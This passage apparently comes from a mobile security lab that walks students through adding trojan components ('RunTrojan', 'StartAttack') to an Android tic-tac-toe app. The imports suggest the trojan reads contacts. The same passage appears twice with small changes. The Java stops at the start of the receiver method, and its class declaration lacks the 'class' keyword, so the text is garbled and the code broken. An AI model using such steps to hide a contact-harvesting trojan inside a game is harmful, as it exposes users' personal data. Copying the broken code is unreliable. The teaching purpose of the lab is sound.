</manifest> Next, we will add the java code for the two new components. Create a new package with the name “edu.mobilesecuritylabware.malware.maltictactoe.trojan” Add a new Java to the new package “RunTrojan” Repeat to add another class to the new package. “StartAttack” Added Classes Replace the code in RunTrojan.java with Code 3.2 Code 3.2 package edu.mobilesecuritylabware.malware.maltictactoe.trojan; import android.app.Activity; import android.content.BroadcastReceiver; import android.content.ContentResolver; import android.content.Context; import android.content.Intent; import android.database.Cursor; import android.net.Uri; import android.provider.ContactsContract; import android.util.Log; public RunTrojan extends BroadcastReceiver{ @Override public void onReceive(Context context, Intent intent) {
</manifest> Next, we will add the java code for the two new components. Create a new package with the name “edu.mobilesecuritylabware.malware.maltictactoe.trojan” Add a new Java “RunTrojan” to the new package Repeat to add another class “StartAttack” to the new package. Added Classes Replace the code in RunTrojan.java with Code 3.2 Code 3.2 package edu.mobilesecuritylabware.malware.maltictactoe.trojan; import android.app.Activity; import android.content.BroadcastReceiver; import android.content.ContentResolver; import android.content.Context; import android.content.Intent; import android.database.Cursor; import android.net.Uri; import android.provider.ContactsContract; import android.util.Log; public RunTrojan extends BroadcastReceiver{ @Override public void onReceive(Context context, Intent intent) {